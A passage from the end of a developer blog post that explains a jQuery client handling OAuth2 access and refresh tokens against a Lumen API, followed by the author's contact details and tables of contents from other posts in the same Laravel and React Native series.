    $("#logout").click(this._logout.bind(this));
}

$(document).ready(function() {
    var client = new Client;
});

Three things are going on here that are worth noticing.

Once the user hits our login button his credentials are sent to our login endpoint POST /login. If we get an access token back we store it using jquery-oauth.

2. jquery-oauth for access token management and storage

esbenp/jquery-oauth is setup as the first thing for managing access tokens. It will store the access token in localstorage. If you refresh the page it will look for the access token and reauthenticate the user if a token was found. When a new access token is passed to the manager it will automatically add a authorization header Authorization: Bearer {accessToken} to all subsequent requests. This is used by our API to authenticate the user.

Because access tokens are short lifed by design (10 minutes) the user will eventually request the API with an expired token. When this happens a 401 response will be sent back to the client. jquery-oauth picks up on this response and buffers all the requests that are sent to the server with 401 responses. It will request a new access token using the refresh token. If the refresh token is still valid and an new access token is acquired all the buffered requests will be refired.

3. API requests have proper headers automatically set

As previosuly mentioned when we call GET /resource using $.ajax jquery-oauth will already have our access token attached as a header. The OAuth2 middleware on the server will check if the access token is valid before returning our resource.

Conclusion

We have now (1) installed an OAuth2 Lumen server, (2) configured it with proper management and user infrastructure, and lastly (3) created a simple example of a client that effectively manages tokens and API requests.

The code for this post can be found at https://github.com/esbenp/lumen-api-oauth. Questions are welcome at ep@traede.com or twitter @esbenp

Esben Petersen

A modern REST API in Laravel 5 Part 4: Authentication using Laravel Passport

tl;dr

Introduction

Agenda

OAuth 2 authentication for dummies

The 2-minute introduction to OAuth grants

How password+refresh authentication works

Step 1: User enters username + password

Step 2. API will ask the authentication server if credentials are correct

Step 3. Authentication will return an access token and a refresh token

Step 4. Request a new token using the fresh token when the access token expires

One last thing: there is something called clients

Hide the client credentials in a proxy

Implementing OAuth authorization using Laravel Passport

Dependencies we are going to use

Installation

Configure Passport to issue short-lived tokens

What did we install?

Creating the login proxy

Internal API consumption with Optimus\ApiConsumer

Testing that things work

Scoping user requests to entities belonging to requesting user

Conclusion

A modern REST API in Laravel 5 Part 3: Error handling

tl;dr

Introduction

Agenda

API error handling crash course

Standardizing error responses with JSON API

Implementing Heimdal, the API exception handler for Laravel

Send exceptions to external tracker using reporters

Conclusion

Simple React Native forms with redux-form, immutable.js and styled-components

tl;dr

Introduction

Agenda

Using redux-form with React Native

0. Create a React Native project

1. Add the redux-form reducer to your redux store

2. Connect your form to the store using the redux-form wrapper

3. Connect the form fields to the store using the Field wrapper

Making it work using Immutable.js

1. Use redux-immutablejs combineReducers and the immutable version of redux-forms reducer

2. Use immutable version of reduxForm wrapper and Field

3. Done!

Make it look like a billion dollar form using styled-components

1st step: Install react-native-clean-form

2nd step: Design an awesome form

Conclusion

A modern REST API in Laravel 5 Part 2: Resource controls

tl;dr

Introduction

Agenda

The challenge

User table list

Agent dropdown

Planning the endpoints

The bad one: make an endpoint for each data set

The better solution: resource controls

Implementation

Making filters work

Making it work with Larapi

The controller

The service

The repository

The model

That is it

Data structure composition?!

Conclusion

A modern REST API in Laravel 5 Part 1: Structure

tl;dr

Introduction

Agenda

Level 1: Application flow pattern

Introducing the service-repository pattern

1. The controller

2. The middleware

3. Service class

4. Repositories